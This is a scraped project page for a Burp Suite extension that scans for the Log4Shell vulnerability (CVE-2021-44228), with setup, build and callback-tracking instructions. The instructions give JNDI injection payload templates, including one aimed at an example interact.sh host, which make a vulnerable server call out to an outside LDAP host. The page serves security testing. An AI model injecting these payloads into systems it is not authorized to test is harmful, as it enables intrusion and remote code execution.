Burp extension to scan Log4Shell (CVE-2021-44228) vulnerability pre and post auth

Related tags

App Log4J-Scanner
Overview


Log4J Scanner

Burp extension to scan Log4Shell (CVE-2021-44228) vulnerability pre and post auth.



Disclaimer

I am not responsible for your actions, burp-suite freezing, target getting hacked, thermonuclear war, or the current economic crisis caused by you following these directions. YOU are choosing to use this tool, and if you point your finger at me for messing anything up, I will LMAO at you.


Log4J-Scanner

Instructions:

  • You need to have a burp project with pre-existing history, it replays requests with payloads.
  • Add a DNS token from any service you prefer interact.sh, pipedream, canarytokens, dnslog.cn or burp collaborator.
  • Either select one of the pre-defined payload or add a custom payload.
  • Add custom payload as: ${jndi:ldap://[dnstoken]/[random] as dnstokenand random are place-holders, also remember NOT to add }closing curly bracket.
  • Select location for payload insertion, headers or parameters or both.
  • For post-auth scanning add the complete cookie, auth header. Eg: Authorization: Bearer ya29.m.CvkBAd1XLWYfLkuHFIuOYFCfcGI137rr...
  • Hit Hack The Planet button.

Important instructions to remember:

  • You'll need Logger++ or Flow extension to trace the request triggering the DNS callback.
  • Remember to add this extension above Logger++ or Flow to track all out going requests.

Burp-Externder

How to track callbacks:

  • Payload triggering callback will contain a 6 character unique ID
  • Example payload ${jndi:ldap://example.interact.sh/ABC123 where ABC123 will be the unique ID
  • You can search for this ID in Logger++ or Flow to trace the request.

Download releases

https://github.com/0xDexter0us/Log4J-Scanner/releases/

Build from source

  • ./gradlew build fatJar
  • Grab the jar file build/libs/Log4J-Scanner-x.x.x.jar

Installation

  1. Download the latest jar from releases or build from source.
  2. Add the jar to Burp Suite.

If you like the project, please give the repo a star! <3

Resources

  • For passive scanning: https://github.com/f0ng/log4j2burpscanner
  • For active scanning: https://github.com/albinowax/ActiveScanPlusPlus

Changelog

13 December 2021 - v.0.1.0

  • First public release

Thanks To

This was coded be me within a day and is an initial release, bug might occur, bug reports, suggestions and pull requests all are welcome :)


Join our Discord server!

ko-fi

You might also like...
App that helps to scan barcodes, Qr that sends to destined link
App that helps to scan barcodes, Qr that sends to destined link

ScanCode Aplicación Android ScanCode Escanea cualquier código Implementación de

ZeAppp v3, created by Android enthusiasts joining the Droidcon 2021 in Berlin, coming to the GDG Booth and writing code, 15 minutes at a time

ZeThree App build at the GDG Community booth at Droidcon Berlin 2021. Come join the fun™. ZeWhat? Based on the previous success of the ZeAppp-app, thi

ADX provides extension functions and lint.

ADX: Android development extensions Overview ADX provides extension functions and lint. Installation ADX implementation "com.github.wada811.adx:adx:$v

Chat is a sample project that presents a modern, 2021 approach to Android application development.
Chat is a sample project that presents a modern, 2021 approach to Android application development.

Chat for Android Chat is a sample project that presents a modern, 2021 approach to Android application development. Screenshots 📷

2021 Rookies 세미나
2021 Rookies 세미나

와플스튜디오 19.5기 Rookies Repository 세미나 수강 목록 19.5 기 세미나는 다음 학기 개발 프로젝트 참여 가능한 Programmers 양성을 목표로 합니다. Frontend: React - JavaScript Backend: Django - Pyt

DevFest 2021 ComposeFest 코드랩 Repo 입니다
DevFest 2021 ComposeFest 코드랩 Repo 입니다

ComposeFest2021 안녕하세요 Compose 코드랩에 오신걸 환영합니다. 다음은 코드랩을 진행하기 위한 안내입니다. 진행 일정 2021년 11월 1일 ~ 30일 매주 월요일 코드랩 진행을 돕기 위한 주요 설명 영상을 공개합니다. 👉 영상 보러가기 Compos

Lab5-soa (deadline 2021-12-17)

Web Engineering 2021-2022 / SOA In this assignment your PR must only modify the README.md file. Please, go to the Wiki in order to get the instruction

Koltin solutions for the 2021 edition of AoC

AdventOfCode2021 This is the code developed for Advent of Code 2021. My primary goals are: have fun learn something new about Kotlin don't spend more

My solutions for Advent of Code 2021 puzzles, mainly using Kotlin.

Advent of Code 2021 Featuring Kotlin What's that ? https://adventofcode.com/2021/about Advent of Code is an Advent calendar of small programming puzzl

Releases(0.2.0)
Owner
Dexter0us
Dexter0us
ArchGuard Scanner for scan Git change history, scan source code by Chapi for Java, TypeScript, Kotlin, Go..、Java bytecode use for JVM languages, scan Jacoco test coverage.

Arch Scanner Requirements: JDK 12 Scanner: scan_git - Git commit history scan scan_jacoco - Jacoco scan scan_bytecode - for JVM languages known issues

ArchGuard 27 Jul 28, 2022
This application uses Google Play Services Vision library to scan barcodes. It uses Google's on device ML kit to scan for barcodes.

Barcode-Scanner This application showcases use of Google Play Services Vision library It uses Google's on device machine learning kit to scan for barc

Soumik 2 Apr 28, 2022
Text to Speech Project for Spring Boot and Kotlin, Auth Server, Python with Fast API (gTTS)

TTS-App Text to Speech Project for Spring Boot and Kotlin, Auth Server, Python with Fast API (gTTS) Python의 gTTS lib를 활용하여 텍스트를 음성으로 변환하는 서비스를 구현해봅니다.

Seokhyun 7 Jan 7, 2022
Non-decompiling Android vulnerability scanner (DC25 demo lab, CB17)

README trueseeing is a fast, accurate and resillient vulnerabilities scanner for Android apps. It operates on Android Packaging File (APK) and outputs

Monolith Works Inc. 0 Jan 14, 2022
Solution to the 2021 Advent of code challenge in Kotlin. aoc-2021-in-kotlin

advent-of-code-2021 Welcome to the Advent of Code1 Kotlin project created by aniobistanley using the Advent of Code Kotlin Template delivered by JetBr

null 0 Dec 24, 2021
Post It is the android App for uploading posts and liking them using Firebase and FireStore.

Post-it Post It is the android App for uploading posts and liking them using Firebase and FireStore. This app also uses DAO, RecycleView, Coroutines a

Anubhav Shishodia 1 Apr 12, 2022
A sample app that uses CameraX and Milkit to scan multiple barcodes and QR code

MLKit-QR-and-Barcode-Scanner This sample app uses Firebase MLKit to scan bar codes and QR Codes There are a number of types of barcodes, MLKKIt is abl

Kashif Mehmood 9 Sep 16, 2022
Scan and view your e-receipts

ReceptsKeeper Scan and view your e-receipts Main features: Display list of receipts sorted by date Adding receipts by scanning Entering a captcha, if

Dmitriy 14 Oct 5, 2022
Scan and view your e-receipts

ReceptsKeeper Scan and view your e-receipts Main features: Display list of receipts sorted by date Adding receipts by scanning Entering a captcha, if

Dmitriy 14 Oct 5, 2022
This project consists in the approach of a bakery business, in which the user can book one or more products (cakes), in addition to having the method of payment in cash (post-shipment) or the method of payment via mobile

This project consists in the approach of a bakery business, in which the user can book one or more products (cakes), in addition to having the method of payment in cash (post-shipment) or the method of payment via mobile

Paul Guillen Acuña 2 Dec 20, 2022